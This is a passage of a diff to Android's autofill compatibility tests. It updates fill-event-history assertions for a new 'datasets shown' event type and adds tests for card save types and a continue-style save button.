+            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(4);
             assertDeprecatedClientState(selection, "clientStateKey", "Value2");
 
             final List<Event> events = selection.getEvents();
-            assertFillEventForDatasetSelected(events.get(0), "name3",
+            assertFillEventForDatasetShown(events.get(0), "clientStateKey", "Value2");
+            assertFillEventForDatasetSelected(events.get(1), "name3",
                     "clientStateKey", "Value2");
-            assertFillEventForSaveShown(events.get(1), NULL_DATASET_ID,
+            assertFillEventForDatasetShown(events.get(2), "clientStateKey", "Value2");
+            assertFillEventForSaveShown(events.get(3), NULL_DATASET_ID,
                     "clientStateKey", "Value2");
         }
     }
@@ -255,10 +263,11 @@
 
         {
             // Verify fill selection
-            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(1);
+            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
             assertNoDeprecatedClientState(selection);
             final List<Event> events = selection.getEvents();
-            assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
         }
 
         // Second request
@@ -292,10 +301,11 @@
 
         {
             // Verify fill selection
-            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(1);
+            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
             assertNoDeprecatedClientState(selection);
             final List<Event> events = selection.getEvents();
-            assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
         }
 
         // Second request
@@ -329,10 +339,11 @@
 
         {
             // Verify fill selection
-            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(1);
+            final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(2);
             assertNoDeprecatedClientState(selection);
             final List<Event> events = selection.getEvents();
-            assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
         }
 
         // Second request
@@ -398,8 +409,9 @@
         sReplier.getNextFillRequest();
 
         // Verify fill selection for Activity B
-        final FillEventHistory selectionB = InstrumentedAutoFillService.getFillEventHistory(0);
+        final FillEventHistory selectionB = InstrumentedAutoFillService.getFillEventHistory(1);
         assertDeprecatedClientState(selectionB, "activity", "B");
+        assertFillEventForDatasetShown(selectionB.getEvents().get(0), "activity", "B");
 
         // Now switch back to A...
         mUiBot.pressBack(); // dismiss autofill
@@ -424,8 +436,9 @@
         sReplier.getNextSaveRequest();
 
         // Finally, make sure history is right
-        final FillEventHistory finalSelection = InstrumentedAutoFillService.getFillEventHistory(0);
+        final FillEventHistory finalSelection = InstrumentedAutoFillService.getFillEventHistory(1);
         assertDeprecatedClientState(finalSelection, "activity", "B");
+        assertFillEventForDatasetShown(finalSelection.getEvents().get(0), "activity", "B");
     }
 
     @Test
@@ -498,11 +511,12 @@
         mActivity.assertAutoFilled();
         // Verify fill history
         {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-            assertFillEventForDatasetSelected(events.get(0), "id1");
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
         }
 
-        // Trigger 2st autofill request (which will clear the fill event history)
+        // Trigger 2nd autofill request (which will clear the fill event history)
         sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
                 new CannedDataset.Builder()
                         .setId("id2")
@@ -518,8 +532,9 @@
         mActivity.assertAutoFilled();
         // Verify fill history
         {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-            assertFillEventForDatasetSelected(events.get(0), "id2");
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id2");
         }
 
         // Finish the context by login in
@@ -530,9 +545,9 @@
 
         {
             // Verify fill history
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-
-            assertFillEventForDatasetSelected(events.get(0), "id2");
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id2");
         }
     }
 
@@ -565,8 +580,9 @@
 
         // Verify dataset selection
         {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-            assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
         }
 
         // Finish the context by login in
@@ -580,8 +596,10 @@
 
         // ...and check again
         {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-            assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(3);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
+            assertFillEventForDatasetShown(events.get(2));
         }
     }
 
@@ -616,8 +634,9 @@
 
         // Verify dataset selection
         {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-            assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
         }
 
         // Finish the context by login in
@@ -630,10 +649,11 @@
 
         // ...and check again
         {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetSelected(events.get(0), NULL_DATASET_ID);
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(3);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), NULL_DATASET_ID);
 
-            FillEventHistory.Event event2 = events.get(1);
+            FillEventHistory.Event event2 = events.get(2);
             assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
             assertThat(event2.getDatasetId()).isNull();
             assertThat(event2.getClientState()).isNull();
@@ -678,8 +698,9 @@
 
         // Verify dataset selection
         {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-            assertFillEventForDatasetSelected(events.get(0), "id2");
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id2");
         }
 
         // Finish the context by login in
@@ -692,10 +713,11 @@
 
         // ...and check again
         {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetSelected(events.get(0), "id2");
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(3);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id2");
 
-            final FillEventHistory.Event event2 = events.get(1);
+            final FillEventHistory.Event event2 = events.get(2);
             assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
             assertThat(event2.getDatasetId()).isNull();
             assertThat(event2.getClientState()).isNull();
@@ -738,8 +760,10 @@
         mUiBot.assertDatasets("dataset1", "dataset2");
 
         // Verify history
-        InstrumentedAutoFillService.getFillEventHistory(0);
-
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+            assertFillEventForDatasetShown(events.get(0));
+        }
         // Enter values not present at the datasets
         mActivity.onUsername((v) -> v.setText("USERNAME"));
         mActivity.onPassword((v) -> v.setText("USERNAME"));
@@ -752,8 +776,9 @@
 
         // Verify history again
         {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-            final Event event = events.get(0);
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            final Event event = events.get(1);
             assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
             assertThat(event.getDatasetId()).isNull();
             assertThat(event.getClientState()).isNull();
@@ -798,8 +823,9 @@
 
         // Verify dataset selection
         {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-            assertFillEventForDatasetSelected(events.get(0), "id1");
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
         }
 
         // Finish the context by login in
@@ -813,10 +839,12 @@
 
         // ...and check again
         {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetSelected(events.get(0), "id1");
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(4);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
 
-            final FillEventHistory.Event event2 = events.get(1);
+            assertFillEventForDatasetShown(events.get(2));
+            final FillEventHistory.Event event2 = events.get(3);
             assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
             assertThat(event2.getDatasetId()).isNull();
             assertThat(event2.getClientState()).isNull();
@@ -865,8 +893,9 @@
         mActivity.assertAutoFilled();
         {
             // Verify fill history
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-            assertFillEventForDatasetSelected(events.get(0), "id1");
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
         }
 
         // Autofill password
@@ -878,10 +907,12 @@
 
         {
             // Verify fill history
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(4);
 
-            assertFillEventForDatasetSelected(events.get(0), "id1");
-            assertFillEventForDatasetSelected(events.get(1), "id2");
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
+            assertFillEventForDatasetShown(events.get(2));
+            assertFillEventForDatasetSelected(events.get(3), "id2");
         }
 
         // Finish the context by login in
@@ -894,12 +925,15 @@
 
         {
             // Verify fill history
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(3);
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(6);
 
-            assertFillEventForDatasetSelected(events.get(0), "id1");
-            assertFillEventForDatasetSelected(events.get(1), "id2");
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
+            assertFillEventForDatasetShown(events.get(2));
+            assertFillEventForDatasetSelected(events.get(3), "id2");
 
-            final FillEventHistory.Event event3 = events.get(2);
+            assertFillEventForDatasetShown(events.get(4));
+            final FillEventHistory.Event event3 = events.get(5);
             assertThat(event3.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
             assertThat(event3.getDatasetId()).isNull();
             assertThat(event3.getClientState()).isNull();
@@ -945,8 +979,9 @@
         mActivity.assertAutoFilled();
         {
             // Verify fill history
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-            assertFillEventForDatasetSelected(events.get(0), "id1");
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
         }
 
         // Autofill password
@@ -958,10 +993,12 @@
 
         {
             // Verify fill history
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(4);
 
-            assertFillEventForDatasetSelected(events.get(0), "id1");
-            assertFillEventForDatasetSelected(events.get(1), "id2");
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
+            assertFillEventForDatasetShown(events.get(2));
+            assertFillEventForDatasetSelected(events.get(3), "id2");
         }
 
         // Finish the context by login in
@@ -972,12 +1009,14 @@
 
         {
             // Verify fill history
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(3);
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(5);
 
-            assertFillEventForDatasetSelected(events.get(0), "id1");
-            assertFillEventForDatasetSelected(events.get(1), "id2");
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
+            assertFillEventForDatasetShown(events.get(2));
+            assertFillEventForDatasetSelected(events.get(3), "id2");
 
-            final FillEventHistory.Event event3 = events.get(2);
+            final FillEventHistory.Event event3 = events.get(4);
             assertThat(event3.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
             assertThat(event3.getDatasetId()).isNull();
             assertThat(event3.getClientState()).isNull();
@@ -1018,11 +1057,12 @@
 
         // Verify dataset selection
         {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-            assertFillEventForDatasetSelected(events.get(0), "id1");
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
         }
 
-        // Change the fields to different values from datasets
+        // Change the fields to different values from0 datasets
         mActivity.onUsername((v) -> v.setText("USERNAME"));
         mActivity.onPassword((v) -> v.setText("USERNAME"));
 
@@ -1037,17 +1077,19 @@
 
         // ...and check again
         {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
-            assertFillEventForDatasetSelected(events.get(0), "id1");
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(4);
+            assertFillEventForDatasetShown(events.get(0));
+            assertFillEventForDatasetSelected(events.get(1), "id1");
+            assertFillEventForDatasetShown(events.get(2));
 
-            FillEventHistory.Event event2 = events.get(1);
-            assertThat(event2.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
-            assertThat(event2.getDatasetId()).isNull();
-            assertThat(event2.getClientState()).isNull();
-            assertThat(event2.getSelectedDatasetIds()).containsExactly("id1");
-            assertThat(event2.getIgnoredDatasetIds()).isEmpty();
-            assertThat(event2.getChangedFields()).isEmpty();
-            assertThat(event2.getManuallyEnteredField()).isEmpty();
+            FillEventHistory.Event event4 = events.get(3);
+            assertThat(event4.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
+            assertThat(event4.getDatasetId()).isNull();
+            assertThat(event4.getClientState()).isNull();
+            assertThat(event4.getSelectedDatasetIds()).containsExactly("id1");
+            assertThat(event4.getIgnoredDatasetIds()).isEmpty();
+            assertThat(event4.getChangedFields()).isEmpty();
+            assertThat(event4.getManuallyEnteredField()).isEmpty();
         }
     }
 
@@ -1081,7 +1123,10 @@
         mUiBot.assertDatasets("dataset1", "dataset2");
 
         // Verify history
-        InstrumentedAutoFillService.getFillEventHistory(0);
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+            assertFillEventForDatasetShown(events.get(0));
+        }
 
         // Enter values present at the datasets
         mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
@@ -1095,8 +1140,9 @@
 
         // Verify history
         {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-            FillEventHistory.Event event = events.get(0);
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
+            FillEventHistory.Event event = events.get(1);
             assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
             assertThat(event.getDatasetId()).isNull();
             assertThat(event.getClientState()).isNull();
@@ -1153,7 +1199,10 @@
         mUiBot.assertDatasets("dataset1", "dataset2", "dataset3");
 
         // Verify history
-        InstrumentedAutoFillService.getFillEventHistory(0);
+        {
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+            assertFillEventForDatasetShown(events.get(0));
+        }
 
         // Enter values present at the datasets
         mActivity.onUsername((v) -> v.setText(BACKDOOR_USERNAME));
@@ -1167,9 +1216,10 @@
 
         // Verify history
         {
-            final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
+            final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+            assertFillEventForDatasetShown(events.get(0));
 
-            final FillEventHistory.Event event = events.get(0);
+            final FillEventHistory.Event event = events.get(1);
             assertThat(event.getType()).isEqualTo(TYPE_CONTEXT_COMMITTED);
             assertThat(event.getDatasetId()).isNull();
             assertThat(event.getClientState()).isNull();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index 06c0e00..f0bfd39 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -21,6 +21,7 @@
 import static android.provider.Settings.Secure.USER_SETUP_COMPLETE;
 import static android.service.autofill.FillEventHistory.Event.TYPE_AUTHENTICATION_SELECTED;
 import static android.service.autofill.FillEventHistory.Event.TYPE_CONTEXT_COMMITTED;
+import static android.service.autofill.FillEventHistory.Event.TYPE_DATASETS_SHOWN;
 import static android.service.autofill.FillEventHistory.Event.TYPE_DATASET_AUTHENTICATION_SELECTED;
 import static android.service.autofill.FillEventHistory.Event.TYPE_DATASET_SELECTED;
 import static android.service.autofill.FillEventHistory.Event.TYPE_SAVE_SHOWN;
@@ -548,7 +549,7 @@
     /**
      * Asserts the values of a text-based node whose string come from resoruces.
      */
-    public static ViewNode assertTextFromResouces(AssistStructure structure, String resourceId,
+    public static ViewNode assertTextFromResources(AssistStructure structure, String resourceId,
             String expectedValue, boolean isAutofillable, String expectedTextIdEntry) {
         final ViewNode node = findNodeByResourceId(structure, resourceId);
         assertText(node, expectedValue, isAutofillable);
@@ -556,6 +557,14 @@
         return node;
     }
 
+    public static ViewNode assertHintFromResources(AssistStructure structure, String resourceId,
+            String expectedValue, String expectedHintIdEntry) {
+        final ViewNode node = findNodeByResourceId(structure, resourceId);
+        assertThat(node.getHint()).isEqualTo(expectedValue);
+        assertThat(node.getHintIdEntry()).isEqualTo(expectedHintIdEntry);
+        return node;
+    }
+
     private static void assertText(ViewNode node, String expectedValue, boolean isAutofillable) {
         assertWithMessage("wrong text on %s", node.getAutofillId()).that(node.getText().toString())
                 .isEqualTo(expectedValue);
@@ -1150,7 +1159,7 @@
      * @param value the only value expected in the client state bundle
      */
     public static void assertFillEventForSaveShown(@NonNull FillEventHistory.Event event,
-            @NonNull String datasetId, @NonNull String key, @NonNull String value) {
+            @Nullable String datasetId, @NonNull String key, @NonNull String value) {
         assertFillEvent(event, TYPE_SAVE_SHOWN, datasetId, key, value, null);
     }
 
@@ -1162,12 +1171,35 @@
      * @param datasetId dataset set id expected in the event
      */
     public static void assertFillEventForSaveShown(@NonNull FillEventHistory.Event event,
-            @NonNull String datasetId) {
+            @Nullable String datasetId) {
         assertFillEvent(event, TYPE_SAVE_SHOWN, datasetId, null, null, null);
     }
 
     /**
      * Asserts the content of a
+     * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASETS_SHOWN} event.
+     *
+     * @param event event to be asserted
+     * @param key the only key expected in the client state bundle
+     * @param value the only value expected in the client state bundle
+     */
+    public static void assertFillEventForDatasetShown(@NonNull FillEventHistory.Event event,
+            @NonNull String key, @NonNull String value) {
+        assertFillEvent(event, TYPE_DATASETS_SHOWN, NULL_DATASET_ID, key, value, null);
+    }
+
+    /**
+     * Asserts the content of a
+     * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASETS_SHOWN} event.
+     *
+     * @param event event to be asserted
+     */
+    public static void assertFillEventForDatasetShown(@NonNull FillEventHistory.Event event) {
+        assertFillEvent(event, TYPE_DATASETS_SHOWN, NULL_DATASET_ID, null, null, null);
+    }
+
+    /**
+     * Asserts the content of a
      * {@link android.service.autofill.FillEventHistory.Event#TYPE_DATASET_AUTHENTICATION_SELECTED}
      * event.
      *
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
index efd001f..ace3d6f 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivity.java
@@ -140,6 +140,7 @@
             final Intent intent = new Intent(this, WelcomeActivity.class);
             final String message = getWelcomeMessage(username);
             intent.putExtra(WelcomeActivity.EXTRA_MESSAGE, message);
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
             setLoginMessage(message);
             startActivity(intent);
             finish();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index 64dee4d..507d289 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -52,9 +52,12 @@
 import static android.service.autofill.FillRequest.FLAG_MANUAL_REQUEST;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_ADDRESS;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_CREDIT_CARD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_DEBIT_CARD;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_EMAIL_ADDRESS;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC_CARD;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PAYMENT_CARD;
 import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_USERNAME;
 import static android.text.InputType.TYPE_NULL;
 import static android.text.InputType.TYPE_TEXT_VARIATION_PASSWORD;
@@ -519,10 +522,6 @@
 
     @Test
     public void testDatasetPickerPosition() throws Exception {
-        // TODO(b/75281985): currently disabled because the screenshot contains elements external to
-        // the activity that can change (for example, clock), which causes flakiness to the test.
-        final boolean compareBitmaps = false;
-
         final boolean pickerAndViewBoundsMatches = !isAutofillWindowFullScreen(mContext);
 
         // Set service.
@@ -544,7 +543,7 @@
         sReplier.getNextFillRequest();
         callback.assertUiShownEvent(username);
         final Rect usernamePickerBoundaries1 = mUiBot.assertDatasets("DUDE").getVisibleBounds();
-        final Bitmap usernameScreenshot1 = compareBitmaps ? mUiBot.takeScreenshot() : null;
+        final Bitmap usernameScreenshot1 = mUiBot.takeScreenshot(mActivity);
         Log.v(TAG,
                 "Username1 at " + usernameBoundaries1 + "; picker at " + usernamePickerBoundaries1);
         // TODO(b/37566627): assertions below might be too aggressive - use range instead?
@@ -558,7 +557,7 @@
         callback.assertUiHiddenEvent(username);
         callback.assertUiShownEvent(password);
         final Rect passwordPickerBoundaries1 = mUiBot.assertDatasets("SWEET").getVisibleBounds();
-        final Bitmap passwordScreenshot1 = compareBitmaps ? mUiBot.takeScreenshot() : null;
+        final Bitmap passwordScreenshot1 = mUiBot.takeScreenshot(mActivity);
         Log.v(TAG,
                 "Password1 at " + passwordBoundaries1 + "; picker at " + passwordPickerBoundaries1);
         // TODO(b/37566627): assertions below might be too aggressive - use range instead?
@@ -572,7 +571,7 @@
         callback.assertUiHiddenEvent(password);
         callback.assertUiShownEvent(username);
         final Rect usernamePickerBoundaries2 = mUiBot.assertDatasets("DUDE").getVisibleBounds();
-        final Bitmap usernameScreenshot2 = compareBitmaps ? mUiBot.takeScreenshot() : null;
+        final Bitmap usernameScreenshot2 = mUiBot.takeScreenshot(mActivity);
         Log.v(TAG,
                 "Username2 at " + usernameBoundaries2 + "; picker at " + usernamePickerBoundaries2);
 
@@ -581,7 +580,7 @@
         callback.assertUiHiddenEvent(username);
         callback.assertUiShownEvent(password);
         final Rect passwordPickerBoundaries2 = mUiBot.assertDatasets("SWEET").getVisibleBounds();
-        final Bitmap passwordScreenshot2 = compareBitmaps ? mUiBot.takeScreenshot() : null;
+        final Bitmap passwordScreenshot2 = mUiBot.takeScreenshot(mActivity);
         Log.v(TAG,
                 "Password2 at " + passwordBoundaries2 + "; picker at " + passwordPickerBoundaries2);
 
@@ -589,15 +588,12 @@
         // ... for username
         assertThat(usernameBoundaries2).isEqualTo(usernameBoundaries1);
         assertThat(usernamePickerBoundaries2).isEqualTo(usernamePickerBoundaries1);
-        if (compareBitmaps) {
-            Helper.assertBitmapsAreSame("username", usernameScreenshot1, usernameScreenshot2);
-        }
+        Helper.assertBitmapsAreSame("username", usernameScreenshot1, usernameScreenshot2);
+
         // ... for password
         assertThat(passwordBoundaries2).isEqualTo(passwordBoundaries1);
         assertThat(passwordPickerBoundaries2).isEqualTo(passwordPickerBoundaries1);
-        if (compareBitmaps) {
-            Helper.assertBitmapsAreSame("password", passwordScreenshot1, passwordScreenshot2);
-        }
+        Helper.assertBitmapsAreSame("password", passwordScreenshot1, passwordScreenshot2);
 
         // Final sanity check
         callback.assertNumberUnhandledEvents(0);
@@ -1818,7 +1814,43 @@
         customizedSaveTest(SAVE_DATA_TYPE_EMAIL_ADDRESS);
     }
 
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testCustomizedSaveDebitCard() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_DEBIT_CARD);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testCustomizedSavePaymentCard() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_PAYMENT_CARD);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testCustomizedSaveGenericCard() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_GENERIC_CARD);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testCustomizedSaveTwoCardTypes() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_CREDIT_CARD | SAVE_DATA_TYPE_DEBIT_CARD,
+                SAVE_DATA_TYPE_GENERIC_CARD);
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutoFillOneDatasetAndSave() is enough")
+    public void testCustomizedSaveThreeCardTypes() throws Exception {
+        customizedSaveTest(SAVE_DATA_TYPE_CREDIT_CARD | SAVE_DATA_TYPE_DEBIT_CARD
+                | SAVE_DATA_TYPE_PAYMENT_CARD, SAVE_DATA_TYPE_GENERIC_CARD);
+    }
+
     private void customizedSaveTest(int type) throws Exception {
+        customizedSaveTest(type, type);
+    }
+
+    private void customizedSaveTest(int type, int expectedType) throws Exception {
         // Set service.
         enableService();
 
@@ -1849,7 +1881,7 @@
         assertWithMessage("Wrong welcome msg").that(actualMessage).isEqualTo(expectedMessage);
 
         // Assert the snack bar is shown and tap "Save".
-        final UiObject2 saveSnackBar = mUiBot.assertSaveShowing(saveDescription, type);
+        final UiObject2 saveSnackBar = mUiBot.assertSaveShowing(saveDescription, expectedType);
         mUiBot.saveForAutofill(saveSnackBar, true);
 
         // Assert save was called.
@@ -2008,6 +2040,36 @@
         assertThat(latch.await(500, TimeUnit.SECONDS)).isTrue();
     }
 
+
+    @Test
+    public void testContinueStylePositiveSaveButton() throws Exception {
+        enableService();
+
+        // Set service behavior.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD, ID_USERNAME, ID_PASSWORD)
+                .setPositiveAction(SaveInfo.POSITIVE_BUTTON_STYLE_CONTINUE)
+                .build());
+
+        // Trigger auto-fill.
+        mActivity.onUsername(View::requestFocus);
+
+        // Wait for onFill() before proceeding.
+        sReplier.getNextFillRequest();
+
+        // Trigger save.
+        mActivity.onUsername((v) -> v.setText("foo"));
+        mActivity.onPassword((v) -> v.setText("foo"));
+        mActivity.tapLogin();
+
+        // Start watching for the negative intent
+        // Trigger the negative button.
+        mUiBot.saveForAutofill(SaveInfo.POSITIVE_BUTTON_STYLE_CONTINUE, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert save was called.
+        sReplier.getNextSaveRequest();
+    }
+
     @Test
     @AppModeFull(reason = "Unit test")
     public void testGetTextInputType() throws Exception {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivityTest.java
index e612161..d702052 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginWithStringsActivityTest.java
@@ -20,8 +20,9 @@
 import static android.autofillservice.cts.Helper.ID_PASSWORD_LABEL;
 import static android.autofillservice.cts.Helper.ID_USERNAME;
 import static android.autofillservice.cts.Helper.ID_USERNAME_LABEL;
+import static android.autofillservice.cts.Helper.assertHintFromResources;
 import static android.autofillservice.cts.Helper.assertTextAndValue;
-import static android.autofillservice.cts.Helper.assertTextFromResouces;
+import static android.autofillservice.cts.Helper.assertTextFromResources;
 import static android.autofillservice.cts.Helper.assertTextIsSanitized;
 import static android.autofillservice.cts.Helper.findNodeByResourceId;
 import static android.autofillservice.cts.InstrumentedAutoFillService.waitUntilConnected;
@@ -92,11 +93,17 @@
         assertTextIsSanitized(fillRequest.structure, ID_PASSWORD);
 
         // Make sure labels were not sanitized
-        assertTextFromResouces(fillRequest.structure, ID_USERNAME_LABEL, "Username", false,
+        assertTextFromResources(fillRequest.structure, ID_USERNAME_LABEL, "Username", false,
                 "username_string");
-        assertTextFromResouces(fillRequest.structure, ID_PASSWORD_LABEL, "Password", false,
+        assertTextFromResources(fillRequest.structure, ID_PASSWORD_LABEL, "Password", false,
                 "password_string");
 
+        // Check text hints
+        assertHintFromResources(fillRequest.structure, ID_USERNAME, "Hint for username",
+                "username_hint");
+        assertHintFromResources(fillRequest.structure, ID_PASSWORD, "Hint for password",
+                "password_hint");
+
         // Auto-fill it.
         mUiBot.selectDataset("The Dude");
 
@@ -130,11 +137,17 @@
